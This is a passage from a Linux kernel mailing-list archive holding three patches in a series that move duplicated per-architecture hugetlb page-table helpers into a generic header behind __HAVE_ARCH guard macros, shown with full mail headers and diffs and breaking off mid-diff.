        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:04:20 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNla-0002dk-Li
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:04:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1730841AbeGaHpD (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:45:03 -0400
Original-Received: from relay3-d.mail.gandi.net ([217.70.183.195]:49625 "EHLO
        relay3-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727283AbeGaHpD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:45:03 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay3-d.mail.gandi.net (Postfix) with ESMTPSA id E01BE6000B;
        Tue, 31 Jul 2018 06:06:14 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834703 gmane.linux.kernel.mm:200885 gmane.linux.ports.arm.kernel:666838 gmane.linux.ports.ia64:29006 gmane.linux.ports.mips.general:65778 gmane.linux.ports.parisc:28843 gmane.linux.ports.ppc64.devel:160652 gmane.linux.ports.sh.devel:57290 gmane.linux.ports.sparc:28149 gmane.linux.kernel.cross-arch:45527
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834703>

arm, ia64, mips, powerpc, sh, x86 architectures use the
same version of set_huge_pte_at, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 6 ------
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 6 ------
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 +++++++-
 10 files changed, 10 insertions(+), 37 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index d4014fbe5ea3..398fb06e8207 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4af1a800a900..874661a1dff1 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -60,6 +60,7 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 				struct page *page, int writable);
 #define arch_make_huge_pte arch_make_huge_pte
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index afe9fa4d969b..a235d6f60fb3 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 53764050243e..8ea439041d5d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,12 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 28c23b68d38d..77c8adbac7c3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -4,6 +4,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index a7d5c739df9b..0794b53439d4 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,12 +132,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f6a51b609409..bc552e37c1c9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 59d89b52ccb7..16b0c53ea6c9 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -12,6 +12,7 @@ struct pud_huge_patch_entry {
 extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 #endif
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 398da3b3414c..8db9a761964d 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,12 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index c697ca9dda18..ee010b756246 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -47,8 +47,14 @@ static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 {
 	free_pgd_range(tlb, addr, end, floor, ceiling);
 }
+#endif
 
-
+#ifndef __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
+static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		pte_t *ptep, pte_t pte)
+{
+	set_pte_at(mm, addr, ptep, pte);
+}
 #endif
 
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 04/11] hugetlb: Introduce generic version of huge_ptep_get_and_clear
Date: Tue, 31 Jul 2018 06:01:48 +0000
Lines: 168
Approved: news@gmane.org
Message-ID: <20180731060155.16915-5-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533017136 15569 195.159.176.226 (31 Jul 2018 06:05:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:05:36 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:05:29 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNmi-0003uP-HM
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:05:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1730113AbeGaHqN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:46:13 -0400
Original-Received: from relay5-d.mail.gandi.net ([217.70.183.197]:59659 "EHLO
        relay5-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726824AbeGaHqN (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:46:13 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay5-d.mail.gandi.net (Postfix) with ESMTPSA id CBE531C000E;
        Tue, 31 Jul 2018 06:07:24 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834705 gmane.linux.kernel.mm:200886 gmane.linux.ports.arm.kernel:666839 gmane.linux.ports.ia64:29007 gmane.linux.ports.mips.general:65779 gmane.linux.ports.parisc:28844 gmane.linux.ports.ppc64.devel:160653 gmane.linux.ports.sh.devel:57291 gmane.linux.ports.sparc:28150 gmane.linux.kernel.cross-arch:45528
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834705>

arm, ia64, sh, x86 architectures use the
same version of huge_ptep_get_and_clear, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 13 insertions(+), 24 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 398fb06e8207..ad36e84b819a 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -49,12 +49,6 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	ptep_set_wrprotect(mm, addr, ptep);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 874661a1dff1..6ae0bcafe162 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -66,6 +66,7 @@ extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index a235d6f60fb3..6719c74da0de 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 8ea439041d5d..0959cc5a41fa 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,6 +36,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 77c8adbac7c3..6e281e1bb336 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -8,6 +8,7 @@
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 0794b53439d4..970101cf9c82 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,6 +132,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index bc552e37c1c9..08ee6c00b5e9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 16b0c53ea6c9..944e3a4bfaff 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -16,6 +16,7 @@ extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 8db9a761964d..e9e7fef867ad 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,12 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ee010b756246..0f6f151780dd 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -57,4 +57,12 @@ static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
+static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	return ptep_get_and_clear(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 05/11] hugetlb: Introduce generic version of huge_ptep_clear_flush
Date: Tue, 31 Jul 2018 06:01:49 +0000
Lines: 158
Approved: news@gmane.org
Message-ID: <20180731060155.16915-6-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533017203 20023 195.159.176.226 (31 Jul 2018 06:06:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:06:43 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:06:36 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNnl-00052X-MH
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:06:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729780AbeGaHrS (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:47:18 -0400
Original-Received: from relay5-d.mail.gandi.net ([217.70.183.197]:34655 "EHLO
        relay5-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727212AbeGaHrS (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:47:18 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay5-d.mail.gandi.net (Postfix) with ESMTPSA id 27FAA1C0003;
        Tue, 31 Jul 2018 06:08:33 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834706 gmane.linux.kernel.mm:200887 gmane.linux.ports.arm.kernel:666840 gmane.linux.ports.ia64:29008 gmane.linux.ports.mips.general:65780 gmane.linux.ports.parisc:28845 gmane.linux.ports.ppc64.devel:160654 gmane.linux.ports.sh.devel:57292 gmane.linux.ports.sparc:28151 gmane.linux.kernel.cross-arch:45529
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834706>

arm, x86 architectures use the same version of
huge_ptep_clear_flush, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 1 +
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 1 +
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 15 insertions(+), 12 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index ad36e84b819a..b897541520ef 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 6ae0bcafe162..4c8dd488554d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTE_CLEAR
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 6719c74da0de..41b5f6adeee4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 0959cc5a41fa..7df1f116a3cc 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 	return pte;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 6e281e1bb336..9afff26747a1 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 970101cf9c82..0b02856aa85b 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -143,6 +143,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 #endif
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 08ee6c00b5e9..9abf9c86b769 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
